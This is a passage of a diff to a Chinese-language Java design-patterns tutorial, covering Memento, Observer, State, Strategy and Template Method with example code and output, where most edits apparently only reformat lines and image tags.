-    PreviousCalculationToCareTaker backupLastCalculation();
+    // Create Memento
+    PreviousCalculationToCareTaker backupLastCalculation();
 
-    // setMemento
-    void restorePreviousCalculation(PreviousCalculationToCareTaker memento);
+    // setMemento
+    void restorePreviousCalculation(PreviousCalculationToCareTaker memento);
 
-    int getCalculationResult();
+    int getCalculationResult();
 
-    void setFirstNumber(int firstNumber);
+    void setFirstNumber(int firstNumber);
 
-    void setSecondNumber(int secondNumber);
+    void setSecondNumber(int secondNumber);
 }
 ```
 
 ```java
 /**
- * Originator Implementation
- */
-public class CalculatorImp implements Calculator {
+ * Originator Implementation
+ */
+public class CalculatorImp implements Calculator {
 
-    private int firstNumber;
-    private int secondNumber;
+    private int firstNumber;
+    private int secondNumber;
 
-    @Override
-    public PreviousCalculationToCareTaker backupLastCalculation() {
-        // create a memento object used for restoring two numbers
-        return new PreviousCalculationImp(firstNumber, secondNumber);
-    }
+    @Override
+    public PreviousCalculationToCareTaker backupLastCalculation() {
+        // create a memento object used for restoring two numbers
+        return new PreviousCalculationImp(firstNumber, secondNumber);
+    }
 
-    @Override
-    public void restorePreviousCalculation(PreviousCalculationToCareTaker memento) {
-        this.firstNumber = ((PreviousCalculationToOriginator) memento).getFirstNumber();
-        this.secondNumber = ((PreviousCalculationToOriginator) memento).getSecondNumber();
-    }
+    @Override
+    public void restorePreviousCalculation(PreviousCalculationToCareTaker memento) {
+        this.firstNumber = ((PreviousCalculationToOriginator) memento).getFirstNumber();
+        this.secondNumber = ((PreviousCalculationToOriginator) memento).getSecondNumber();
+    }
 
-    @Override
-    public int getCalculationResult() {
-        // result is adding two numbers
-        return firstNumber + secondNumber;
-    }
+    @Override
+    public int getCalculationResult() {
+        // result is adding two numbers
+        return firstNumber + secondNumber;
+    }
 
-    @Override
-    public void setFirstNumber(int firstNumber) {
-        this.firstNumber = firstNumber;
-    }
+    @Override
+    public void setFirstNumber(int firstNumber) {
+        this.firstNumber = firstNumber;
+    }
 
-    @Override
-    public void setSecondNumber(int secondNumber) {
-        this.secondNumber = secondNumber;
-    }
+    @Override
+    public void setSecondNumber(int secondNumber) {
+        this.secondNumber = secondNumber;
+    }
 }
 ```
 
 ```java
 /**
- * Memento Interface to Originator
- *
- * This interface allows the originator to restore its state
- */
-public interface PreviousCalculationToOriginator {
-    int getFirstNumber();
-    int getSecondNumber();
+ * Memento Interface to Originator
+ *
+ * This interface allows the originator to restore its state
+ */
+public interface PreviousCalculationToOriginator {
+    int getFirstNumber();
+    int getSecondNumber();
 }
 ```
 
 ```java
 /**
- *  Memento interface to CalculatorOperator (Caretaker)
- */
-public interface PreviousCalculationToCareTaker {
-    // no operations permitted for the caretaker
+ *  Memento interface to CalculatorOperator (Caretaker)
+ */
+public interface PreviousCalculationToCareTaker {
+    // no operations permitted for the caretaker
 }
 ```
 
 ```java
 /**
- * Memento Object Implementation
- * <p>
- * Note that this object implements both interfaces to Originator and CareTaker
- */
-public class PreviousCalculationImp implements PreviousCalculationToCareTaker,
-        PreviousCalculationToOriginator {
+ * Memento Object Implementation
+ * <p>
+ * Note that this object implements both interfaces to Originator and CareTaker
+ */
+public class PreviousCalculationImp implements PreviousCalculationToCareTaker,
+        PreviousCalculationToOriginator {
 
-    private int firstNumber;
-    private int secondNumber;
+    private int firstNumber;
+    private int secondNumber;
 
-    public PreviousCalculationImp(int firstNumber, int secondNumber) {
-        this.firstNumber = firstNumber;
-        this.secondNumber = secondNumber;
-    }
+    public PreviousCalculationImp(int firstNumber, int secondNumber) {
+        this.firstNumber = firstNumber;
+        this.secondNumber = secondNumber;
+    }
 
-    @Override
-    public int getFirstNumber() {
-        return firstNumber;
-    }
+    @Override
+    public int getFirstNumber() {
+        return firstNumber;
+    }
 
-    @Override
-    public int getSecondNumber() {
-        return secondNumber;
-    }
+    @Override
+    public int getSecondNumber() {
+        return secondNumber;
+    }
 }
 ```
 
 ```java
 /**
- * CareTaker object
- */
-public class Client {
+ * CareTaker object
+ */
+public class Client {
 
-    public static void main(String[] args) {
-        // program starts
-        Calculator calculator = new CalculatorImp();
+    public static void main(String[] args) {
+        // program starts
+        Calculator calculator = new CalculatorImp();
 
-        // assume user enters two numbers
-        calculator.setFirstNumber(10);
-        calculator.setSecondNumber(100);
+        // assume user enters two numbers
+        calculator.setFirstNumber(10);
+        calculator.setSecondNumber(100);
 
-        // find result
-        System.out.println(calculator.getCalculationResult());
+        // find result
+        System.out.println(calculator.getCalculationResult());
 
-        // Store result of this calculation in case of error
-        PreviousCalculationToCareTaker memento = calculator.backupLastCalculation();
+        // Store result of this calculation in case of error
+        PreviousCalculationToCareTaker memento = calculator.backupLastCalculation();
 
-        // user enters a number
-        calculator.setFirstNumber(17);
+        // user enters a number
+        calculator.setFirstNumber(17);
 
-        // user enters a wrong second number and calculates result
-        calculator.setSecondNumber(-290);
+        // user enters a wrong second number and calculates result
+        calculator.setSecondNumber(-290);
 
-        // calculate result
-        System.out.println(calculator.getCalculationResult());
+        // calculate result
+        System.out.println(calculator.getCalculationResult());
 
-        // user hits CTRL + Z to undo last operation and see last result
-        calculator.restorePreviousCalculation(memento);
+        // user hits CTRL + Z to undo last operation and see last result
+        calculator.restorePreviousCalculation(memento);
 
-        // result restored
-        System.out.println(calculator.getCalculationResult());
-    }
+        // result restored
+        System.out.println(calculator.getCalculationResult());
+    }
 }
 ```
 
@@ -1413,523 +1448,523 @@ public class Client {
 110
 ```
 
-### JDK
+### JDK
 
-- java.io.Serializable
+- java.io.Serializable
 
-## 7. 观察者（Observer）
+## 7. 观察者（Observer）
 
-### Intent
+### Intent
 
 定义对象之间的一对多依赖，当一个对象状态改变时，它的所有依赖都会收到通知并且自动更新状态。
 
 主题（Subject）是被观察的对象，而其所有依赖者（Observer）称为观察者。
 
-<img src="index_files/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/>
+<div align="center"> <img src="pics/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/> </div><br>
 
-### Class Diagram
+### Class Diagram
 
 主题（Subject）具有注册和移除观察者、并通知所有观察者的功能，主题是通过维护一张观察者列表来实现这些操作的。
 
-观察者（Observer）的注册功能需要调用主题的 registerObserver() 方法。
+观察者（Observer）的注册功能需要调用主题的 registerObserver() 方法。
 
-![](index_files/0df5d84c-e7ca-4e3a-a688-bb8e68894467.png)
+<div align="center"> <img src="pics/0df5d84c-e7ca-4e3a-a688-bb8e68894467.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 天气数据布告板会在天气信息发生改变时更新其内容，布告板有多个，并且在将来会继续增加。
 
-![](index_files/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg)
+<div align="center"> <img src="pics/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg"/> </div><br>
 
 ```java
-public interface Subject {
-    void registerObserver(Observer o);
+public interface Subject {
+    void registerObserver(Observer o);
 
-    void removeObserver(Observer o);
+    void removeObserver(Observer o);
 
-    void notifyObserver();
+    void notifyObserver();
 }
 ```
 
 ```java
-public class WeatherData implements Subject {
-    private List<Observer> observers;
-    private float temperature;
-    private float humidity;
-    private float pressure;
+public class WeatherData implements Subject {
+    private List<Observer> observers;
+    private float temperature;
+    private float humidity;
+    private float pressure;
 
-    public WeatherData() {
-        observers = new ArrayList<>();
-    }
+    public WeatherData() {
+        observers = new ArrayList<>();
+    }
 
-    public void setMeasurements(float temperature, float humidity, float pressure) {
-        this.temperature = temperature;
-        this.humidity = humidity;
-        this.pressure = pressure;
-        notifyObserver();
-    }
+    public void setMeasurements(float temperature, float humidity, float pressure) {
+        this.temperature = temperature;
+        this.humidity = humidity;
+        this.pressure = pressure;
+        notifyObserver();
+    }
 
-    @Override
-    public void registerObserver(Observer o) {
-        observers.add(o);
-    }
+    @Override
+    public void registerObserver(Observer o) {
+        observers.add(o);
+    }
 
-    @Override
-    public void removeObserver(Observer o) {
-        int i = observers.indexOf(o);
-        if (i >= 0) {
-            observers.remove(i);
-        }
-    }
+    @Override
+    public void removeObserver(Observer o) {
+        int i = observers.indexOf(o);
+        if (i >= 0) {
+            observers.remove(i);
+        }
+    }
 
-    @Override
-    public void notifyObserver() {
-        for (Observer o : observers) {
-            o.update(temperature, humidity, pressure);
-        }
-    }
+    @Override
+    public void notifyObserver() {
+        for (Observer o : observers) {
+            o.update(temperature, humidity, pressure);
+        }
+    }
 }
 ```
 
 ```java
-public interface Observer {
-    void update(float temp, float humidity, float pressure);
+public interface Observer {
+    void update(float temp, float humidity, float pressure);
 }
 ```
 
 ```java
-public class StatisticsDisplay implements Observer {
+public class StatisticsDisplay implements Observer {
 
-    public StatisticsDisplay(Subject weatherData) {
-        weatherData.reisterObserver(this);
-    }
+    public StatisticsDisplay(Subject weatherData) {
+        weatherData.reisterObserver(this);
+    }
 
-    @Override
-    public void update(float temp, float humidity, float pressure) {
-        System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure);
-    }
+    @Override
+    public void update(float temp, float humidity, float pressure) {
+        System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure);
+    }
 }
 ```
 
 ```java
-public class CurrentConditionsDisplay implements Observer {
+public class CurrentConditionsDisplay implements Observer {
 
-    public CurrentConditionsDisplay(Subject weatherData) {
-        weatherData.registerObserver(this);
-    }
+    public CurrentConditionsDisplay(Subject weatherData) {
+        weatherData.registerObserver(this);
+    }
 
-    @Override
-    public void update(float temp, float humidity, float pressure) {
-        System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure);
-    }
+    @Override
+    public void update(float temp, float humidity, float pressure) {
+        System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure);
+    }
 }
 ```
 
 ```java
-public class WeatherStation {
-    public static void main(String[] args) {
-        WeatherData weatherData = new WeatherData();
-        CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData);
-        StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData);
+public class WeatherStation {
+    public static void main(String[] args) {
+        WeatherData weatherData = new WeatherData();
+        CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData);
+        StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData);
 
-        weatherData.setMeasurements(0, 0, 0);
-        weatherData.setMeasurements(1, 1, 1);
-    }
+        weatherData.setMeasurements(0, 0, 0);
+        weatherData.setMeasurements(1, 1, 1);
+    }
 }
 ```
 
 ```html
-CurrentConditionsDisplay.update: 0.0 0.0 0.0
-StatisticsDisplay.update: 0.0 0.0 0.0
-CurrentConditionsDisplay.update: 1.0 1.0 1.0
-StatisticsDisplay.update: 1.0 1.0 1.0
+CurrentConditionsDisplay.update: 0.0 0.0 0.0
+StatisticsDisplay.update: 0.0 0.0 0.0
+CurrentConditionsDisplay.update: 1.0 1.0 1.0
+StatisticsDisplay.update: 1.0 1.0 1.0
 ```
 
-### JDK
+### JDK
 
-- [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html)
-- [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html)
-- [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html)
-- [RxJava](https://github.com/ReactiveX/RxJava)
+- [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html)
+- [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html)
+- [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html)
+- [RxJava](https://github.com/ReactiveX/RxJava)
 
-## 8. 状态（State）
+## 8. 状态（State）
 
-### Intent
+### Intent
 
 允许对象在内部状态改变时改变它的行为，对象看起来好像修改了它所属的类。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/c5085437-54df-4304-b62d-44b961711ba7.png)
+<div align="center"> <img src="pics/c5085437-54df-4304-b62d-44b961711ba7.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 糖果销售机有多种状态，每种状态下销售机有不同的行为，状态可以发生转移，使得销售机的行为也发生改变。
 
-<img src="index_files/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/>
+<div align="center"> <img src="pics/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/> </div><br>
 
 ```java
-public interface State {
-    /**
-     * 投入 25 分钱
-     */
-    void insertQuarter();
+public interface State {
+    /**
+     * 投入 25 分钱
+     */
+    void insertQuarter();
 
-    /**
-     * 退回 25 分钱
-     */
-    void ejectQuarter();
+    /**
+     * 退回 25 分钱
+     */
+    void ejectQuarter();
 
-    /**
-     * 转动曲柄
-     */
-    void turnCrank();
+    /**
+     * 转动曲柄
+     */
+    void turnCrank();
 
-    /**
-     * 发放糖果
-     */
-    void dispense();
+    /**
+     * 发放糖果
+     */
+    void dispense();
 }
 ```
 
 ```java
-public class HasQuarterState implements State {
+public class HasQuarterState implements State {
 
-    private GumballMachine gumballMachine;
+    private GumballMachine gumballMachine;
 
-    public HasQuarterState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public HasQuarterState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You can't insert another quarter");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You can't insert another quarter");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("Quarter returned");
-        gumballMachine.setState(gumballMachine.getNoQuarterState());
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("Quarter returned");
+        gumballMachine.setState(gumballMachine.getNoQuarterState());
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned...");
-        gumballMachine.setState(gumballMachine.getSoldState());
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned...");
+        gumballMachine.setState(gumballMachine.getSoldState());
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("No gumball dispensed");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("No gumball dispensed");
+    }
 }
 ```
 
 ```java
-public class NoQuarterState implements State {
+public class NoQuarterState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public NoQuarterState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public NoQuarterState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You insert a quarter");
-        gumballMachine.setState(gumballMachine.getHasQuarterState());
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You insert a quarter");
+        gumballMachine.setState(gumballMachine.getHasQuarterState());
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("You haven't insert a quarter");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("You haven't insert a quarter");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned, but there's no quarter");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned, but there's no quarter");
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("You need to pay first");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("You need to pay first");
+    }
 }
 ```
 
 ```java
-public class SoldOutState implements State {
+public class SoldOutState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public SoldOutState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public SoldOutState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You can't insert a quarter, the machine is sold out");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You can't insert a quarter, the machine is sold out");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("You can't eject, you haven't inserted a quarter yet");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("You can't eject, you haven't inserted a quarter yet");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned, but there are no gumballs");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned, but there are no gumballs");
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("No gumball dispensed");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("No gumball dispensed");
+    }
 }
 ```
 
 ```java
-public class SoldState implements State {
+public class SoldState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public SoldState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public SoldState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("Please wait, we're already giving you a gumball");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("Please wait, we're already giving you a gumball");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("Sorry, you already turned the crank");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("Sorry, you already turned the crank");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("Turning twice doesn't get you another gumball!");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("Turning twice doesn't get you another gumball!");
+    }
 
-    @Override
-    public void dispense() {
-        gumballMachine.releaseBall();
-        if (gumballMachine.getCount() > 0) {
-            gumballMachine.setState(gumballMachine.getNoQuarterState());
-        } else {
-            System.out.println("Oops, out of gumballs");
-            gumballMachine.setState(gumballMachine.getSoldOutState());
-        }
-    }
+    @Override
+    public void dispense() {
+        gumballMachine.releaseBall();
+        if (gumballMachine.getCount() > 0) {
+            gumballMachine.setState(gumballMachine.getNoQuarterState());
+        } else {
+            System.out.println("Oops, out of gumballs");
+            gumballMachine.setState(gumballMachine.getSoldOutState());
+        }
+    }
 }
 ```
 
 ```java
-public class GumballMachine {
+public class GumballMachine {
 
-    private State soldOutState;
-    private State noQuarterState;
-    private State hasQuarterState;
-    private State soldState;
+    private State soldOutState;
+    private State noQuarterState;
+    private State hasQuarterState;
+    private State soldState;
 
-    private State state;
-    private int count = 0;
+    private State state;
+    private int count = 0;
 
-    public GumballMachine(int numberGumballs) {
-        count = numberGumballs;
-        soldOutState = new SoldOutState(this);
-        noQuarterState = new NoQuarterState(this);
-        hasQuarterState = new HasQuarterState(this);
-        soldState = new SoldState(this);
+    public GumballMachine(int numberGumballs) {
+        count = numberGumballs;
+        soldOutState = new SoldOutState(this);
+        noQuarterState = new NoQuarterState(this);
+        hasQuarterState = new HasQuarterState(this);
+        soldState = new SoldState(this);
 
-        if (numberGumballs > 0) {
-            state = noQuarterState;
-        } else {
-            state = soldOutState;
-        }
-    }
+        if (numberGumballs > 0) {
+            state = noQuarterState;
+        } else {
+            state = soldOutState;
+        }
+    }
 
-    public void insertQuarter() {
-        state.insertQuarter();
-    }
+    public void insertQuarter() {
+        state.insertQuarter();
+    }
 
-    public void ejectQuarter() {
-        state.ejectQuarter();
-    }
+    public void ejectQuarter() {
+        state.ejectQuarter();
+    }
 
-    public void turnCrank() {
-        state.turnCrank();
-        state.dispense();
-    }
+    public void turnCrank() {
+        state.turnCrank();
+        state.dispense();
+    }
 
-    public void setState(State state) {
-        this.state = state;
-    }
+    public void setState(State state) {
+        this.state = state;
+    }
 
-    public void releaseBall() {
-        System.out.println("A gumball comes rolling out the slot...");
-        if (count != 0) {
-            count -= 1;
-        }
-    }
+    public void releaseBall() {
+        System.out.println("A gumball comes rolling out the slot...");
+        if (count != 0) {
+            count -= 1;
+        }
+    }
 
-    public State getSoldOutState() {
-        return soldOutState;
-    }
+    public State getSoldOutState() {
+        return soldOutState;
+    }
 
-    public State getNoQuarterState() {
-        return noQuarterState;
-    }
+    public State getNoQuarterState() {
+        return noQuarterState;
+    }
 
-    public State getHasQuarterState() {
-        return hasQuarterState;
-    }
+    public State getHasQuarterState() {
+        return hasQuarterState;
+    }
 
-    public State getSoldState() {
-        return soldState;
-    }
+    public State getSoldState() {
+        return soldState;
+    }
 
-    public int getCount() {
-        return count;
-    }
+    public int getCount() {
+        return count;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        GumballMachine gumballMachine = new GumballMachine(5);
+    public static void main(String[] args) {
+        GumballMachine gumballMachine = new GumballMachine(5);
 
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.ejectQuarter();
-        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.ejectQuarter();
+        gumballMachine.turnCrank();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.ejectQuarter();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.ejectQuarter();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-    }
+        gumballMachine.insertQuarter();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+    }
 }
 ```
 
 ```html
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-Quarter returned
-You turned, but there's no quarter
-You need to pay first
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You haven't insert a quarter
-You insert a quarter
-You can't insert another quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-Oops, out of gumballs
-You can't insert a quarter, the machine is sold out
-You turned, but there are no gumballs
-No gumball dispensed
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+Quarter returned
+You turned, but there's no quarter
+You need to pay first
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You haven't insert a quarter
+You insert a quarter
+You can't insert another quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+Oops, out of gumballs
+You can't insert a quarter, the machine is sold out
+You turned, but there are no gumballs
+No gumball dispensed
 ```
 
-## 9. 策略（Strategy）
+## 9. 策略（Strategy）
 
-### Intent
+### Intent
 
 定义一系列算法，封装每个算法，并使它们可以互换。
 
 策略模式可以让算法独立于使用它的客户端。
 
-### Class Diagram
+### Class Diagram
 
-- Strategy 接口定义了一个算法族，它们都实现了  behavior() 方法。
-- Context 是使用到该算法族的类，其中的 doSomething() 方法会调用 behavior()，setStrategy(Strategy) 方法可以动态地改变 strategy 对象，也就是说能动态地改变 Context 所使用的算法。
+- Strategy 接口定义了一个算法族，它们都实现了  behavior() 方法。
+- Context 是使用到该算法族的类，其中的 doSomething() 方法会调用 behavior()，setStrategy(Strategy) 方法可以动态地改变 strategy 对象，也就是说能动态地改变 Context 所使用的算法。
 
-![](index_files/1fc969e4-0e7c-441b-b53c-01950d2f2be5.png)
+<div align="center"> <img src="pics/1fc969e4-0e7c-441b-b53c-01950d2f2be5.png"/> </div><br>
 
-### 与状态模式的比较
+### 与状态模式的比较
 
-状态模式的类图和策略模式类似，并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象，而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移，是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变，注意必须要是在运行过程中。
+状态模式的类图和策略模式类似，并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象，而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移，是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变，注意必须要是在运行过程中。
 
-状态模式主要是用来解决状态转移的问题，当状态发生转移了，那么 Context 对象就会改变它的行为；而策略模式主要是用来封装一组可以互相替代的算法族，并且可以根据需要动态地去替换 Context 使用的算法。
+状态模式主要是用来解决状态转移的问题，当状态发生转移了，那么 Context 对象就会改变它的行为；而策略模式主要是用来封装一组可以互相替代的算法族，并且可以根据需要动态地去替换 Context 使用的算法。
 
-### Implementation
+### Implementation
 
 设计一个鸭子，它可以动态地改变叫声。这里的算法族是鸭子的叫声行为。
 
 ```java
-public interface QuackBehavior {
-    void quack();
+public interface QuackBehavior {
+    void quack();
 }
 ```
 
 ```java
-public class Quack implements QuackBehavior {
-    @Override
-    public void quack() {
-        System.out.println("quack!");
-    }
+public class Quack implements QuackBehavior {
+    @Override
+    public void quack() {
+        System.out.println("quack!");
+    }
 }
 ```
 
 ```java
-public class Squeak implements QuackBehavior{
-    @Override
-    public void quack() {
-        System.out.println("squeak!");
-    }
+public class Squeak implements QuackBehavior{
+    @Override
+    public void quack() {
+        System.out.println("squeak!");
+    }
 }
 ```
 
 ```java
-public class Duck {
+public class Duck {
 
-    private QuackBehavior quackBehavior;
+    private QuackBehavior quackBehavior;
 
-    public void performQuack() {
-        if (quackBehavior != null) {
-            quackBehavior.quack();
-        }
-    }
+    public void performQuack() {
+        if (quackBehavior != null) {
+            quackBehavior.quack();
+        }
+    }
 
-    public void setQuackBehavior(QuackBehavior quackBehavior) {
-        this.quackBehavior = quackBehavior;
-    }
+    public void setQuackBehavior(QuackBehavior quackBehavior) {
+        this.quackBehavior = quackBehavior;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Duck duck = new Duck();
-        duck.setQuackBehavior(new Squeak());
-        duck.performQuack();
-        duck.setQuackBehavior(new Quack());
-        duck.performQuack();
-    }
+    public static void main(String[] args) {
+        Duck duck = new Duck();
+        duck.setQuackBehavior(new Squeak());
+        duck.performQuack();
+        duck.setQuackBehavior(new Quack());
+        duck.performQuack();
+    }
 }
 ```
 
@@ -1938,91 +1973,91 @@ squeak!
 quack!
 ```
 
-### JDK
+### JDK
 
-- java.util.Comparator#compare()
-- javax.servlet.http.HttpServlet
-- javax.servlet.Filter#doFilter()
+- java.util.Comparator#compare()
+- javax.servlet.http.HttpServlet
+- javax.servlet.Filter#doFilter()
 
-## 10. 模板方法（Template Method）
+## 10. 模板方法（Template Method）
 
-### Intent
+### Intent
 
 定义算法框架，并将一些步骤的实现延迟到子类。
 
 通过模板方法，子类可以重新定义算法的某些步骤，而不用改变算法的结构。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png)
+<div align="center"> <img src="pics/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 冲咖啡和冲茶都有类似的流程，但是某些步骤会有点不一样，要求复用那些相同步骤的代码。
 
-![](index_files/11236498-1417-46ce-a1b0-e10054256955.png)
+<div align="center"> <img src="pics/11236498-1417-46ce-a1b0-e10054256955.png"/> </div><br>
 
 ```java
-public abstract class CaffeineBeverage {
+public abstract class CaffeineBeverage {
 
-    final void prepareRecipe() {
-        boilWater();
-        brew();
-        pourInCup();
-        addCondiments();
-    }
+    final void prepareRecipe() {
+        boilWater();
+        brew();
+        pourInCup();
+        addCondiments();
+    }
 
-    abstract void brew();
+    abstract void brew();
 
-    abstract void addCondiments();
+    abstract void addCondiments();
 
-    void boilWater() {
-        System.out.println("boilWater");
-    }
+    void boilWater() {
+        System.out.println("boilWater");
+    }
 
-    void pourInCup() {
-        System.out.println("pourInCup");
-    }
+    void pourInCup() {
+        System.out.println("pourInCup");
+    }
 }
 ```
 
 ```java
-public class Coffee extends CaffeineBeverage {
-    @Override
-    void brew() {
-        System.out.println("Coffee.brew");
-    }
+public class Coffee extends CaffeineBeverage {
+    @Override
+    void brew() {
+        System.out.println("Coffee.brew");
+    }
 
-    @Override
-    void addCondiments() {
-        System.out.println("Coffee.addCondiments");
-    }
+    @Override
+    void addCondiments() {
+        System.out.println("Coffee.addCondiments");
+    }
 }
 ```
 
 ```java
-public class Tea extends CaffeineBeverage {
-    @Override
-    void brew() {
-        System.out.println("Tea.brew");
-    }
+public class Tea extends CaffeineBeverage {
+    @Override
+    void brew() {
+        System.out.println("Tea.brew");
+    }
 
-    @Override
-    void addCondiments() {
-        System.out.println("Tea.addCondiments");
-    }
+    @Override
+    void addCondiments() {
+        System.out.println("Tea.addCondiments");
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        CaffeineBeverage caffeineBeverage = new Coffee();
-        caffeineBeverage.prepareRecipe();
-        System.out.println("-----------");
-        caffeineBeverage = new Tea();
-        caffeineBeverage.prepareRecipe();
-    }
+public class Client {
+    public static void main(String[] args) {
+        CaffeineBeverage caffeineBeverage = new Coffee();
+        caffeineBeverage.prepareRecipe();
+        System.out.println("-----------");
+        caffeineBeverage = new Tea();
+        caffeineBeverage.prepareRecipe();
+    }
 }
 ```
 
@@ -2038,194 +2073,194 @@ pourInCup
 Tea.addCondiments
 ```
 
-### JDK
+### JDK
 
-- java.util.Collections#sort()
-- java.io.InputStream#skip()
-- java.io.InputStream#read()
-- java.util.AbstractList#indexOf()
+- java.util.Collections#sort()
+- java.io.InputStream#skip()
+- java.io.InputStream#read()
+- java.util.AbstractList#indexOf()
 
-## 11. 访问者（Visitor）
+## 11. 访问者（Visitor）
 
-### Intent
+### Intent
 
 为一个对象结构（比如组合结构）增加新能力。
 
-### Class Diagram
+### Class Diagram
 
